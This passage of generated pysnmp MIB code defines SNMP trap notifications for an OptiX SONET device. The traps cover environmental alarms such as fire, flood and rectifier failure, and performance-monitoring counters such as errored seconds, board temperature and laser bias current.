2, 25, 3, 20, 40, 30, 512)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envExplosiveGas.setStatus('current') envFireDetectorFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 513)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envFireDetectorFailure.setStatus('current') envFire = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 514)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envFire.setStatus('current') envFlood = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 515)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envFlood.setStatus('current') envFuseFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 516)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envFuseFailure.setStatus('current') envGeneratorFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 517)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envGeneratorFailure.setStatus('current') envHighAirflow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 518)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envHighAirflow.setStatus('current') envHighHumidity = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 519)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envHighHumidity.setStatus('current') envHighTemperature = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 520)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envHighTemperature.setStatus('current') envHighWater = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 521)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envHighWater.setStatus('current') envIntrusion = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 522)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envIntrusion.setStatus('current') envLowBatteryVoltage = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 523)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envLowBatteryVoltage.setStatus('current') envLowFuel = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 524)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envLowFuel.setStatus('current') envLowHumidity = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 525)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envLowHumidity.setStatus('current') envLowCablePressure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 526)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envLowCablePressure.setStatus('current') envLowTemperature = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 527)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envLowTemperature.setStatus('current') envLowWater = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 528)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envLowWater.setStatus('current') envMiscellaneous = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 529)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envMiscellaneous.setStatus('current') envOpenDoor = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 530)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envOpenDoor.setStatus('current') envCommercialPowerFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 531)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envCommercialPowerFailure.setStatus('current') envPumpFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 532)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envPumpFailure.setStatus('current') env48VoltPowerSupplyFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 536)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: env48VoltPowerSupplyFailure.setStatus('current') envRectifierFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 537)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envRectifierFailure.setStatus('current') envRectifierHighVoltage = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 538)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envRectifierHighVoltage.setStatus('current') envRectiFierLowVoltage = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 539)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envRectiFierLowVoltage.setStatus('current') envSmoke = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 540)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envSmoke.setStatus('current') envToxicGas = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 541)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envToxicGas.setStatus('current') envVentilationSystemFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 30, 542)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtNumber"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: envVentilationSystemFailure.setStatus('current') optixTrapsPerformance = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40)) pmSESSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 32770)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmSESSection.setStatus('current') pmCVLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 32784)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmCVLine.setStatus('current') pmESLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 32785)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmESLine.setStatus('current') pmSESLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 32786)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmSESLine.setStatus('current') pmUASLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 32789)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmUASLine.setStatus('current') pmPSD = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 32799)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPSD.setStatus('current') pmCVPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 32800)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmCVPath.setStatus('current') pmESPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 32801)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmESPath.setStatus('current') pmPjcsVdet = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 32852)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPjcsVdet.setStatus('current') pmBdTempCur = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 32992)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmBdTempCur.setStatus('current') pmBdTempMax = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 32993)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmBdTempMax.setStatus('current') pmBdTempMin = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 32994)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmBdTempMin.setStatus('current') pmPmuTempCur = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33000)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPmuTempCur.setStatus('current') pmPmuTempMax = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33001)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPmuTempMax.setStatus('current') pmPmuTempMin = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33002)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPmuTempMin.setStatus('current') pmLbcCur = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33008)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmLbcCur.setStatus('current') pmLbcMax = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33009)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmLbcMax.setStatus('current') 